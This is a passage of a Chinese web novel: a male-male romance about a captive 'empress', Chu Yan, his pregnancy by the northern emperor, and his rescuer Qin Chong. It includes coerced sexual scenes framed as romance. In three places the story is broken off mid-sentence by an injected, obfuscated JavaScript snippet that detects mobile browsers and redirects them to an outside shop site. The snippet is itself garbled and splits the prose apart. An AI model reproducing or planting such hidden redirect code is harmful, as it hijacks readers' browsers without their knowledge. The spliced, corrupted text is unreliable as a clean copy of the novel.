宣布之后,北蛮皇帝便天天与皇后腻在宫里,北蛮众臣天天跪在宫门口劝谏,皇帝不予理会,直到一个月后,皇后出现呕吐反应,拓拔烈紧张地叫来给楚晏施了生子秘术的巫医诊脉,巫医面带喜色:“恭喜陛下!贺喜陛下,皇后娘娘已有孕一月有余。” 北蛮皇帝自从继位来后宫空虚,更别提子嗣,如今北蛮皇室有了继承人,众臣也不再反对。 皇后已怀孕,拓拔烈也宣布复朝,只是下了朝就去看皇后,宠妻程度羡煞旁人。 此事传到了大越,成为大越大街小巷茶余饭后的谈资。 饭馆里,一人喝了口酒,对对面那人道:“哎!听说没?那北蛮的皇帝封了一个男子做皇后,还罢朝一个月与皇后造出了小皇子!” 对面那人惊奇道:“这封男子为后已经够新奇了,竟然还能让男子怀孕?” 先前这人道:“我听说那北蛮的巫医很厉害,什么稀奇古怪的病都能治,没准儿也有能让男子怀孕的法子。” 对面那人一脸憧憬道:“我倒是好奇那北蛮的皇后究竟是个什么样的美人,竟然能让北蛮皇帝罢朝一个月。” 先前这人道:“我听说那北蛮的皇后还是我们大越人呢!” 对面那人眼睛一亮:“大越人?跟天下第一美人琼华楼的清晏公子比如何?” 先前这人道:“听说那北蛮皇帝把皇后捂得可严实了,皇后轻易不出来,出来就带面纱,除了那北蛮皇帝,谁也没见过皇后长啥样。” 对面那人露出一副惋惜的表情,“能叫那北蛮这么宝贝,我猜那皇后一定是个绝世大美人!”又叹了口气:“唉,可惜清晏公子跟人跑了,不然我还想去享受一下呢!” 先前这人笑他:“你?人家一万两银子一夜你出得起吗?” 对面那人不服气道:“就算摸不着,看一看也行啊!” 说完了,又叹:“话说那南陵王也是一个没福气的,享受了美人一晚之后美人就跟别人跑了,自己一病不起,人就这么没了!” 先前这人也叹:“谁说不是呢!普普通通也挺好的,不求绝世美人,但求一杯好酒,足矣!足矣!”说完,将杯中酒一饮而尽。 对面那人笑他:“瞧你那没出息的样儿!要是我,能见见这绝世美人在床上的模样,死也值了!”说着,端起酒杯一饮而尽,摇头晃脑地说了一句:“这才是真正的牡丹花下死,做鬼也风流啊!” 这时,一个身穿戎装、浓眉大眼的小伙子走进饭馆,走到窗边落寞喝酒的男人身边,压低声音道:“将军,属下查到了,南陵王的药是阿三派人做的手脚,阿三是北蛮人,北蛮皇帝前不久对外宣称微服私访,一个多月前才回归,正好与阿三出现和离开的时间对上。所以属下猜测,阿三,很有可能就是北蛮皇帝。” 男人放下酒杯,拿起桌上的刀站起身来转身就走。 那戎装小伙子追上去,“将军您要去哪儿?” 伙计追过来:“哎哎!客官你账还没结呢!” 男人回头,露出一副英武的面容,眼睛如猎鹰一般锐利,“北蛮。”说完,扔给伙计一锭银子,“不用找了。”转身就走。 由于巫医要求楚晏怀孕后不能频繁行房事,拓拔烈便不再从早到晚缠着他,拓拔烈早上起来上早朝的时候,宫殿里就剩下楚晏一个人,他洗漱过后,就会坐在桌前拿起笔给秦冲写信,他知道这信大概是不可能寄出去了,但是他还是想写,见秦冲是他的信念,他一直在靠着这个信念撑着。 秦冲,你在大越还好吗?我每天决定给你写一封信,也不知道你能不能有机会看见它们,我记得你对我说过这是一场梦,醒了就好了,于是我每天都在期盼梦醒来的那天,我开着客栈,养花养鸟养鱼,还有你…… 秦冲,我怀孕了,等孩子生下来就能去见你了。 想要到离开,他不禁将手移到自己的腹部,那里微微隆起,正孕育着一个小生命,巫医说正常女子怀胎十月,男子受孕只需要五个月便可将孩子生下来,也就是说再过三个多月他就可以离开这里了……可纵使他再不愿,这也是他的孩子,真正到了离开的时候,他真的能舍得吗? 这时,一双大手从背后搂住他的腰身,“写什么呢?嗯?” 他慌乱地把想要收起纸张,却被身后人抢先抽走,看见信的同时,拓拔烈眸子一暗,“秦冲?你在给他写信?” 他恼怒地伸手去抢:“你还给我!” 拓拔烈忽然笑了笑,将信纸递给他,“你写吧。” 楚晏一愣,有些不明白拓拔烈是什么意思。 “怎么?不想写了?那寡人撕了它。” 拓拔烈说着,捏住信纸的两边就要撕开,楚晏连忙抢回来护在怀里。 拓拔烈盯着他:“你写吧,寡人看着你写。” 当着拓拔烈的面,楚晏怎么可能写得出来,“你到底想干什么?” “寡人不想干什么,你不写是么?来,寡人教你写。”说着,强行将他抱坐在腿上,一只手握住楚晏的手,一边说一边在纸上写:“秦冲,北蛮的皇帝好棒,都把我弄怀孕了……” 楚晏又羞又怒,“你……”,他话还没说完, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14093108|147758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 却发现拓拔烈的手已经肆无忌惮地探去,耳垂被亲昵地吮吸住,男人的声音低沉而沙哑:“巫医说你怀孕之后每周行房不能超过两次,寡人一直省着来,但是你今天惹怒寡人了,寡人要惩罚你。” 过了不知多久,拓拔烈又将楚晏从椅子上抱到龙床上继续。 美人被他欺负得双眼含泪,他吻吻他的唇,“每天陪在你身边的是寡人,你却还想着秦冲,你说寡人该不该罚你?” 美人闭上眼睛,不想搭理他。 拓拔烈的手不自觉滑到他微微隆起的腹部,正摸着,掌下的皮肤忽然跳动了一下,拓拔烈惊喜道:“子卿,我们的宝宝动了!” 宝宝动了?楚晏睁开那美丽的双眸,手抚上自己的腹部,像是感受到他的抚摸,宝宝很给面子地又动了一下。 拓拔烈不禁勾起唇角:“你看,他也同意我惩罚你。” 楚晏忍不住斥他:“你闭嘴!别带坏他!” “好好好,我闭嘴,用行动。”拓拔烈说着,又吻了上去。 又一场酣畅淋漓的情事后,拓拔烈抱着怀中美人温存道:“子卿,等宝宝出生,你留下来一段时间吧,我们一家三口一起去大漠里看落日。” 一家三口去看落日……楚晏心中微动,却仍闭着长睫,没有说话。 “你忍心一出生就离开孩子吗?孩子那么小,寡人平时要处理政务,宫人照顾不好怎么办?” 孩子……楚晏受到触动,手抚上自己的小腹,睁开眼眸,那双总是深沉威严,极具侵略性的眼睛甚至有些委屈:“明明陪在你身边的是寡人,你却是总想着那个秦冲,寡人不明白你为何如此喜欢秦冲?” 楚晏沙哑着开口:“不一样的……” “怎么不一样?论身份地位,寡人是大越的皇帝,他一个市井小民,论陪你的时间,寡人天天陪着你,他远在大越……” 楚晏打断他:“你强迫我,而他,给我希望。” “那你说说,寡人不强迫你,寡人该如何得到你?” 那双极具侵略性的眼睛目光灼灼地盯着他,楚晏偏过头去,“我不喜欢你。” “你看,你不喜欢寡人,寡人要是不强迫你,岂不是连你的衣角都碰不到?” “你强迫我,我更加不会喜欢你。” 拓拔烈将他的脸扳过来,轻轻吻了一下他的唇,认真地看着他,“不喜欢寡人也没关系,寡人只想陪你更久一点,不管你喜不喜欢寡人,只要你的心里有寡人的一席之地,寡人就心满意足了。” 那双极具侵略性的眼睛充满了柔情,“留下来,起码等到孩子会走路了再走,好么?” 眼前划过秦冲高大的身影,楚晏抚着小腹的手一颤,垂下眼睫:“我……需要时间想想……” 拓拔烈心中一喜,抱着他吻了又吻,“子卿,你好好想,寡人等着你的答案。” 楚晏自从被拓拔烈发现给秦冲写信之后,他便不敢再写了,他说想要抚琴,拓拔烈就去找北蛮最好的匠人给他定做了一把琴,拓拔烈不在的时候,楚晏就在宫殿里抚琴。 日子一天天过去,孩子在慢慢长大,楚晏的肚子也跟着越来越大。 这日,拓拔烈去上早朝,楚晏照例留在宫殿里抚琴。 琴声清越悠扬,又带了些淡淡的哀伤。 忽然,内殿的门被轻轻推开,走进来一个高大的男人。 楚晏以为是拓拔烈回来了,顿时没了弹琴的心情,“我还没有想好,你不要逼我。” “子卿……”男人的声音低沉而有磁性,带着一种久违的温暖。 楚晏陡然一惊,这声音…… 他抬眼,一双熟悉的如猎鹰一般锋利的眼睛深情地注视着他,“子卿,是我,我来带你走。” 44.第二十一章 激动与喜悦交织在一起,他情不自禁地站起来,泪水扑簌簌地下落:“秦冲,你终于来了……” 秦冲一眼就看到了他高高隆起的小腹,眼神一暗,“对不起,我又来晚了。” 楚晏顺着他的视线看到了自己隆起的小腹,心中一沉:“我怀孕了……” “我知道,是我没有保护好你,轻信了阿三,让他带走了你。”秦冲走过来,握住他肩膀,“你失踪之后我找了你很久,但是杳无音信,我便去参军了,我做了将军,前不久南陵王死了,我查到是阿三做的手脚,顺藤摸瓜查到阿三就是北蛮皇帝,我才知道你被他带到了北蛮,便马不停蹄地赶过来找你。” 楚晏睁大眼睛:“南陵王死了?” 秦冲挑了挑眉:“怎么?他死了你心疼了?” 萧弈虽然强迫过他,但是毕竟他们曾经是至交好友,要说心里一点都不难过是假的。 “毕竟相识一场,只是觉得有些突然。”楚晏沉吟片刻,又问:“你是一个人来的?” 秦冲道:“南陵王死了,皇上大怒,要出兵讨伐北蛮,我主动请缨过来,我担心你,所以先来了,不过我的军队很快就会到,你不用担心。你怀着孕,行走不方便,我们先找个地方躲起来,等我的军队来接应。” 楚晏心头一跳:“伐北蛮?” “我查到阿三就是北蛮皇帝拓拔烈,他如此羞辱你,还让你怀孕,我定要将他碎尸万段!”秦冲说得咬牙切齿。 楚晏看着他,犹豫地说着:“你……能不能留他一条性命?” 秦冲不可置信:“子卿,他这么羞辱你,你还要留他性命?” 楚晏低头抚着自己的腹部:“他……毕竟是孩子的父亲,我不希望他出事。” 秦冲握住他肩膀的手一紧:“子卿,你是不是喜欢他了?” 喜欢他?楚晏连忙摇头,“不!我没有!” 秦冲松了一口气:“那就好,我们走吧。” 楚晏点了点头,秦冲便扶着楚晏往门口走去,刚走到门口,就看见门被一把推开,拓拔烈满脸阴沉地站在门口:“寡人的皇后要去哪儿?” “拓拔烈!你来得正好,老子正愁找不到你呢!”秦冲说着,刚拔起刀来,衣角忽然被人拽住。“别走!”,回头看楚晏脸色煞白,额间冷汗不断往下流,连忙扶住他,“子卿你怎么了?” “疼……好疼……”楚晏捂着腹部,洁白的下摆被鲜血染红。 拓拔烈见状,心里忽然想到了一个可能性:“传巫医!快传巫医!” 楚晏浑身疲累地醒来,看见拓拔烈站在床头正抱着一个孩子在哄,见他醒了,满脸喜悦地把孩子抱给他看:“子卿,你醒了?快看,我们的小太子出生了!” 小宝宝眼睛闭着,浓密的长睫毛像小扇子垂着,皮肤像羊脂玉一般白皙细腻,小嘴儿粉嫩嫩的,惹人喜爱,楚晏欣喜地抱过来,“他好漂亮……” 像是感受到楚晏的怀抱,小宝宝张着小嘴儿发出“哦”,“哦”的声音,不时还吐出来一个泡泡。 美人披散着头发,坐在床上哄着小宝宝,浑身散发着洁白又温柔的气息,这一刻,拓拔烈觉得自己是天底下最幸福的男人。 楚晏陪小宝宝玩了一会儿,忽然想到一事,抬头看向拓拔烈:“秦冲呢?” 拓拔烈眼神一沉:“在大牢里。” 楚晏心中一沉,如果不是因为他,秦冲本可以逃出去的……“我记得你说过,等宝宝生出来,就放我回大越。” 拓拔烈道:“寡人也跟你说过,要你陪孩子到他会走路,你说要想想,你想好了吗?” “你打算怎么对他?” “敌国的将军,还是皇后红杏出墙的野男人,你说寡人该怎么对他?” 楚晏道:“我没有红杏出墙。” 拓拔烈冷笑:“如果寡人没回来,你早就躺在他床上了吧?怀着寡人的孩子,跟别的男人鬼混,真刺激啊!” “你!”那双美丽的眼睛又是羞怒又是屈辱地瞪了他一眼,又缓缓闭上眼睛,妥协道:“放了他,我留在你身边。” “留在寡人身边?”拓拔烈玩味地念着这几个字,“你说的这个留,是留多久?” 楚晏呼吸一窒。 拓拔烈悠悠道:“放他回去,他顷刻就会发兵攻打我北蛮,子卿,寡人不是傻子,不会做那昏庸的商纣王,为了一个美人亡国。” 楚晏睁开那双美丽的眼眸,一字一顿道:“只要你放了他,此生此世,我都留在你身边。”每说一个字,他的心都要痛一下,一句话说完,已经花光了他所有的力气。 拓拔烈满意地勾起唇角:“好,寡人可以放了他,不过他必须签署大越永世不得攻打我北蛮的合约。” 秦冲正坐在牢里发呆,这时,牢头领着一个蒙着面纱的白衣男子走进来,秦冲认出来人,面色一喜:“子卿!” 有下人进来给他递进一张纸和一方印泥,那人声音清冷:“在这纸合约上按个手印,你就可以走了。” 秦冲看清合约上的内容:“要大越永世不得攻打北蛮?这怎么可能?!” 楚晏道:“你不签,拓拔烈就会杀了你。” 秦冲一顿,看着他问:“那你希望我死吗?” 自然是不希望,但他的身份,好像不能这么说。于是,楚晏沉默着没有说话。 秦冲道:“我的军队马上就要到了,如果我没按时给他们发攻打指令,他们就会自己攻城,到时候免不了一场恶战,拓拔烈不会这么傻,现在就杀了我。” 楚晏反驳道:“他是不会杀你,但是他只要放出风声,说大越的主将被擒,到时候军心一乱,大越的军队不攻自破。” 秦冲还在坚持:“你放心,我的兵不会如此,只要你肯等,等我的一军队一到……” 楚晏打断他:“你的军队一到,拓拔烈就会把你推出去,威胁你的兵,你到时候怎么办?以身殉国?主将没了,军心一乱……” “别说了!”秦冲懊恼地捶着脑袋,“我只是想带你走!” “你活着,对我而言,就已经足够了。”楚晏说完,缓缓转过身去。 秦冲深深地看了他的背影一眼,“好,我签。” 秦冲签完合约被放出来,与他擦身而过的瞬间,听到男人低沉而坚定的声音:“这场梦,是我迟了,梦醒之后,我一定不会让他先得到你。” 楚晏恍然回头,男人已走远。 恍惚间,好像男人笑着对他伸出手:“子卿,我来带你走。” 可这一次,是他自己放弃了。 这一走,也许此生都不会再见了。 心里的某个地方,好像空了一块。 他捂住心口,慢慢蹲下了身子,脑海里不断回荡着他们曾经的对话。 “总之你就什么都不要担心,再苦也只是一场梦,就算不是,也有我陪着你呢不是!” “所以啊,你现在什么都不要怕,有我在,我会保护你的!” “我这体格,去应聘个镖师,走几趟镖下来我们仨几个月吃住就不愁了!” “我也可以教人琴棋诗画。” 是梦吗?如果真的是梦的话,什么时候才会醒来呢? 三年后,北蛮皇宫花园里。 一个头上戴着金冠,黑袍上绣着五爪金龙的小男孩手里拿着一束鹅黄色的小花,步履蹒跚地向不远处的白衣男子跑过来,“爹亲你看!我给你摘了花!” 男子眉眼含笑,像一湖温柔流淌的春水,“小宸慢点跑。” 小男孩跌跌撞撞地跑到男子怀里,把手里的花递给他,而后仰起一张苹果似的粉嫩小脸,水灵灵的大眼睛忽闪忽闪的,“爹亲亲亲!” 男子笑着接过花,低头亲了一下男孩的脸蛋儿。 “拓拔宸!寡人跟你说过多少次了不许向你爹亲讨吻,寡人的话你当耳旁风是么?” 黑金龙袍的男子风风火火地走过来,小男孩吓得缩进男子怀里,“爹亲,爹爹又凶我!” 白衣男子不悦地看向那黑袍男子:“你别凶小宸,是我要亲他的。” 黑袍男子一把将小男孩从男子怀里拉出来,厉声斥责一句:“瞅你玩得一身泥巴!”给身后的宫人使了个眼色:“还不快带太子去沐浴!” 宫人走过来抱起小男孩,小男孩踢蹬着小腿在宫人怀里挣扎:“我不去!我不去!爹爹你又要霸占爹亲别以为我不知道!” “小宸!” 白衣男子担心地欲过去,却被黑袍男子一把揽住腰身,得意地转过头向小男孩宣告:“你爹亲是寡人的皇后,寡人霸占得光明正大!带走!” 宫人抱着小男孩走远,还能听见小男孩咬牙切齿的声音:“可恶的臭爹爹!等我长大的,哼!” 楚晏满脸不悦:“你怎么能这样对小宸?” “这臭小子敢跟寡人抢你,可恶得很!”拓拔烈说着,捧起楚晏的脸就吻了下去。 一吻过后,拓拔烈看着那双迷蒙着雾气的美丽眼眸,神色有些复杂:“子卿,寡人要告诉你一件事,你别激动。” 楚晏点点头,心里忽然很不安。 拓拔烈观察着他的神情,犹豫着说:“秦冲……死了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14100084|147758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 死了?楚晏心中一震,踉跄了一下,被拓拔烈及时扶住,“怎么死的?” “秦冲签署大越永世不得攻打我北蛮合约之后,回去就被大越皇帝贬到边境戍边,前不久遭仇家围攻,战死了。” 战……死了?楚晏眼前一黑,失去了意识。 “子卿!子卿!” 楚晏再次睁开眼睛的时候,看到一张熟悉的面容,那双猎鹰一般的眼睛里满是惊喜之色,“子卿,你醒了?” 楚晏一下子扑入男人的怀里,流下了欣喜的泪水:“秦冲!你还活着,还活着,太好了!太好了!” 秦冲被抱得一愣,一下一下抚着楚晏的后背,笑着安抚他:“我活着!活着呢!” 楚晏贴着他温暖的胸膛:“我听见拓拔烈说你死了,我好难过……” “都跟你说了那是一场梦,一场梦而已……”说着,又摸了摸他的额头,“还好不烧了,我醒了之后,看你还没醒,额头滚烫,就在这里守了你一夜。” 楚晏心中暖意划过,弯弯唇角:“谢谢你。” 说着又想到了什么,“我们是怎么又做了同一个梦的?” 秦冲道:“你说着说着话忽然晕倒了,还发烧了,我听见你说胡话说什么放开我、别过来,心想你是不是梦里被人欺负了,我就想着我们不是梦境相通么?能去梦里陪着你就好了,然后就真的去了。” 秦冲入梦的契机是想入梦陪着他,那他入梦的契机是什么? 楚晏正思考着,又听秦冲问:“我记得我去的时候你在青楼里,我去之前他们欺负你了?” 楚晏有些不愿回忆那些,垂着长睫道:“我那时刚被送到青楼里,老鸨命令那些下人教我规矩,那些下人对我起意,我以死威胁,他们就不敢乱来了。” 秦冲听出他话中的伤感,拍了拍他的背,安抚他道:“都过去了……过去了……” 说着,忽然想到了一件重要的事,将人从怀里拉出来,目光灼灼地盯着楚晏:“我记得晕倒前你说你留下来的原因,话还没说完就晕倒了,你留下来的原因是什么?” 被秦冲这样盯着,那话他不好意思再说了。 秦冲贴近他的耳朵,声音沙哑而低沉,好似在压抑着什么,“你还记得在大牢里我走之前跟你说的那句话吗?” “这场梦,是我迟了,梦醒之后,我一定不会让他先得到你。” 楚晏回忆的档口,秦冲已经气势汹汹地压上来,“我听说拓拔烈连续抱了你一个月,我要比他长!” 楚晏本能地挣扎了几下,对上那双晶亮的深情的眼睛,便任由他去了。 接下来的一个月,两个人再也没有出这个屋子,渴了禾玉和阿昭送水,饿了禾玉和阿昭送饭,沐浴有浴桶,如厕有恭桶,他们手足相抵,肌肤相贴,心爱的人就在眼前。 美人双眼迷离间,情不自禁地一声声唤着身上人的名字。 “秦冲……” “秦冲……” “秦冲……” 秦冲卖着力气,吻吻他的唇,说出一句煞风景的:“干啥?” 楚晏唇角微弯:“没事儿,就想叫叫你。” 美人眉眼含笑,如同一湖生动又美丽的春水,险些晃花了他的眼,暧昧地低头向他耳边吹气:“你还笑?爽了?” 耳边的燥热让楚晏情不自禁地往旁边躲了躲,沉吟了一下,“其实不光一个月……在去北蛮的马车上,还有三个月……” 秦冲眼神一沉,扳过他的脸,握紧他的腰低吼:“这四个月,不!这半年你都别想出这个屋子了!” 楚晏脸上一热,“总在屋里闷着对身体不好……” “那我抱你去院子里。”秦冲说着,抱起他走到院子里放在藤椅上,贴近他的耳朵低喃:“你说,我和拓拔烈、萧寒,还有那南陵王,哪个更厉害?” “拓拔烈跟你在马车上都干什么了?” 楚晏自然不肯回答,秦冲眼神一暗,正要加大动作。 “掌柜的!掌柜的!” 这时,禾玉大叫着跑进来,后面还跟着阿昭,两人看见院子里楚晏和秦冲的状态,一惊,妈呀!这么刺激的啊! 秦冲正在兴头上被人打断,当即大喝一声:“滚出去!” 楚晏清了清嗓子,“什么事?” 禾玉捂着眼睛说:“掌柜的,有人找!” “不管他!” 秦冲捧着楚晏的脸就要吻下去,却被楚晏推开,“谁找我?” 禾玉刚要回答,这时,一个小小的身影窜进来,软软糯糯的小声音唤着:“爹亲!爹亲!” 45.第二十二章 楚晏浑身一震。 那边禾玉睁开眼睛追上去:“哎哎哎,你怎么进来了!” 还没待三人作出反应,小男孩已经站在藤椅上的两个人面前,愤怒地瞪着天真的大眼睛:“爹亲你怎么光溜溜地跟别的叔叔抱在一起!” 楚晏慌乱地看向秦冲:“我衣服呢?” 秦冲也是一愣:“在房里……” 楚晏连忙向呆愣的禾玉道:“禾玉快把我衣服拿出来!” 秦冲也对阿昭道:“阿昭你把我的衣服也拿过来!” 两人应了一句,忙跑进屋去拿衣服。 小男孩愤怒地去推秦冲,“叔叔你走开!爹亲是爹爹的!” 秦冲被推急了,张嘴就吼:“这谁家的小孩,再乱叫我打你了啊!” 楚晏也急了:“哎!你别打他!他是梦里我和拓拔烈的孩子,拓拔宸!” 秦冲一惊:“梦里的孩子怎么会跑到现实里来?” “我是跟着爹爹过来的,爹爹说爹亲在这里,我就过来了,没想到却看到爹亲你和别的叔叔抱在一起,虽然爹爹脾气臭,但是爹亲你怎么能背叛爹爹呢?”拓拔宸义愤填膺地说着。 秦冲瞪眼:“什么叫背叛?你爹亲本来就是我的,是你爹爹把你爹亲骗走的!” “你骗人!我们一家三口可幸福了!就是你这个坏人拆散了爹爹和爹亲,我打死你打死你!”拓拔宸说着,挥舞着小拳头就去打秦冲。 楚晏一看秦冲要发火,连忙把拓拔宸拉过来,“小宸你别打了!” 拓拔宸一看到楚晏,高兴地扑入他的怀里,仰起小脸:“爹亲亲亲!” 楚晏看了眼秦冲阴沉的脸色,飞快地低头亲了拓拔宸的脸一下。 “衣服来了来了!”禾玉和阿昭捧着衣服跑过来,一看两个大人一个小孩如今的状态,不知道是什么情况,站在不远处待命。 楚晏摸着拓拔宸的头发哄:“小宸乖,让爹亲先穿衣服好么?” 拓拔宸点点头:“爹亲赶紧穿衣服,别让那个坏人欺负你!” 楚晏对不远处的禾玉和阿昭道:“衣服拿过来吧。” 两人这才战战兢兢地走过来分别把衣服递给楚晏和秦冲。 楚晏穿好衣服后,拉着拓拔宸对秦冲道:“外面凉,我带他进屋说话。” 秦冲不满:“我也要去!” 拓拔宸顿时小脸一拉:“我和爹亲说话,你这个坏人不许听!” 秦冲来了劲,瞪着拓拔宸:“哎!你这小鬼头!” 拓拔宸顿时抱着楚晏的腿控诉:“爹亲这坏人瞪我!” 楚晏看向秦冲:“你好久没巡街了吧?你先去巡街吧!” 秦冲不同意:“我不去!万一我巡街的时候拓拔烈来了把你带走怎么办?” 楚晏一顿,道:“我有玉龙哨。” 秦冲依旧不同意:“那也不行!上次那个萧玦来了你玉龙哨也没发挥啥作用,还得我来救你。” 楚晏道:“那我现在吹响它,叫暗卫在门口守着。” 秦冲干脆道:“不!我要亲自守着你,你和这小鬼进去吧,我在外面守着。” 还是答应了……楚晏弯了弯唇,“那我进去了。”说完,拉着拓拔宸就往屋里走。 秦冲合计出不对味来,“等等!”说着,走到楚晏面前在已经被他亲得红润的唇上亲了一下,得意地看着拓拔宸,“进去吧。” 果然,小家伙炸了毛,一脸凶恶地瞪着秦冲:“爹亲!你怎么能让这个坏人亲你!” 楚晏见事情不妙,赶紧抱起拓拔宸,“小宸乖,我这就带你回屋啊!” 拓拔宸一路挣扎着:“爹亲你放我下来!我要跟那个坏人决斗!” “哟!要决斗啊?”秦冲挑了挑眉,冲他勾勾手指:“你来啊你来啊!” “你!这个坏人!你给我等着!”拓拔宸愤怒地指着秦冲,忽然看见楚晏美丽的侧脸,漂亮的眼珠转了转,对着楚晏的脸一连亲了好几口,在进门之前对秦冲做鬼脸:“我亲爹亲比你多,哼!” 秦冲愤怒地想追上去,楚晏已经关了门。 楚晏把小家伙抱到床上,蹲下身子问他:“告诉爹亲,你是怎么知道我是你爹亲的?” 拓拔宸听了,水灵灵的大眼睛满是控诉:“爹亲你好狠心!从小抛弃我和爹爹不说,还不认我!要不是我做了梦我连你长什么样都不知道!” 楚晏连忙抚着他的头发安抚他:“乖啊乖啊!爹亲认你爹亲认你,告诉爹亲,你做什么梦了?” 拓拔宸伸出两只小胳膊,眨巴着大眼睛看他:“我要爹亲你上来抱着我,我才说!” “好。”楚晏脱了鞋,上了床,小家伙立刻扑入他怀里,小脸蹭了蹭他的胸膛,嗅着那温暖又清冷的气息,满足地道:“梦里爹亲你就是这样给我讲故事的!” 楚晏也想起来梦里的时候他给小家伙讲故事的场景,这么说……小宸也跟他做了一样的梦? “我梦见小时候爹亲你抱着我,给我喂奶……” 楚晏脸上一热,想到那时拓拔烈总是和小宸抢,最后和俩人一左一右……看见拓拔宸天真的大眼睛,顿时有些羞愧。 “还梦见你和爹爹带着我一起去大漠里看落日……” 楚晏想到在大漠拓拔烈趁着小宸睡着,将他按在大漠里,小宸在睡着,他又不敢出声…… “我们一家三口很幸福很幸福,直到那一天,你带我去花园里玩,我摘了一束花送给你,要你亲了我一口,然后被爹爹看见了,爹爹凶我,还让宫人带我去沐浴,我沐浴回来,就看见爹爹抱着你哭,我问爹爹为什么哭,爹爹告诉我你死了,我不相信,一直哭一直哭,我就醒了。” 拓拔宸说着,扁了扁嘴,抱紧楚晏,“爹亲我听见爹爹你死了,我好难过好难过,以为再也看不见你了……” 楚晏摸着他的头发安抚:“对不起小宸,让你伤心了,爹亲以后再也不离开你了。” 拓拔宸听了,欢喜地抬头,期待地看着他:“真的吗?太好了!那爹亲你和爹爹和我一起回北蛮吧!我们一家三口再也不分开!” 楚晏咳了咳,道:“小宸,这个不急,你先告诉爹亲,你是怎么做这个梦的?” 拓拔宸道:“我从小就没娘,见到别人都有娘我很羡慕,我问爹爹我为什么没有娘爹爹一直不告诉我,直到三个月前爹爹才告诉我我虽然没有娘,但是有爹亲,我要爹爹带我来看你,爹爹就带我过来了,一个月前我和爹爹赶到你们这的湘州住客栈的时候,做了这个梦。” 湘州……又是湘州……梦里他被卖到湘州的琼华楼,还有之前萧寒也跟他说过赶到湘州的时候做了梦,湘州,到底意味着什么? 楚晏又问:“小宸,你今年几岁了?” 拓拔宸小脸一拉:“爹亲你果然是个不负责的爹亲,连我几岁都不知道!” 楚晏忙笑着哄他:“爹亲知道爹亲知道,爹亲记得小宸你在梦里是三岁,你现在也是三岁么?” 拓拔宸点点头:“当然了!” 三年前他还在这里开客栈,并没有去过北蛮,如何有的小宸? 看来他得问问拓拔烈,楚晏思及此,又问:“小宸,你爹爹呢?” 拓拔宸道:“爹爹让我先来找你,他稍后就到。” 稍后就到……楚晏思虑间,拓拔宸摇着他的手臂,水灵灵的大眼睛期待地看着他:“爹亲,等爹爹来了我们就一起回北蛮吧!” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14114853|147758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回北蛮?”楚晏顿时蹙起眉头,“我……不会回去了。” 拓拔宸瞪着大眼睛质问他:“为什么?” 楚晏试图安抚他:“我还有一些事情需要问你爹爹,回北蛮的事我们以后再说好么?” 拓拔宸小脸一沉:“是不是因为门外那个坏人你才不愿意跟我和爹爹回北蛮的?” 楚晏一时哑然。 拓拔宸一脸愤然:“那个坏人那么粗鲁,有什么好?你要为了那个坏人抛弃我和爹爹?” 楚晏道:“我不会抛弃你。” 拓拔宸睁大眼睛:“那你要抛弃爹爹?我不想离开你,也不想离开爹爹,我要我们一家三口永远在一起!” “小宸,我……”楚晏犹豫了一下,看着拓拔宸的眼睛,认真道:“小宸你听我说,我不喜欢你爹爹,我喜欢的是守在屋外的那个叔叔,他叫秦冲,梦里是你爹爹用他的声音骗了我,把我带走了,才生下了你。” 拓拔宸听着,水灵灵的大眼睛里含了一包泪水,“你为什么不喜欢爹爹?你喜欢爹爹好不好?” “感情这种事不能强求的,等你长大了就知道了。”楚晏取来手帕为他擦着眼泪。 拓拔宸把小脸一扭:“我不想知道!” “小宸……”楚晏也不知道怎么说才好。 拓拔宸转过来,大眼睛水汪汪地看着他:“我就想和爹爹和爹亲永远在一起,爹亲你答应我你答应我好不好?” 楚晏蹙着眉头不知该怎么安抚,这时,秦冲推门而入,指着拓拔宸就道:“我实在是听不下去了你这熊孩子,都跟你说了不回去了你还叽叽歪歪干什么?!” “你这个坏人竟然偷听我和爹亲说话!爹亲你快把这个坏人赶走!”拓拔宸揪着楚晏的衣服恳求。 秦冲抱着双臂理直气壮:“我凭什么走?我还要跟你爹亲生两个弟弟妹妹,到时候就不要你了!” 拓拔宸一听,顿时濒临崩溃,质问楚晏:“爹亲你还要跟这个坏人生弟弟妹妹?不要我了?” 楚晏连忙安抚:“爹亲不会不要你的,乖啊……”又去斥责秦冲:“你胡说什么?我怎么能生?” “梦里的孩子都能跑到现实来,还有什么不可能的,说不定你现在已经怀了……”秦冲说着,瞟了一眼楚晏的肚子。 楚晏顿时又羞又怒:“你出去!” “好,正好我去给你找个大夫把把脉!”秦冲说完,笑嘻嘻地走出去带上门。 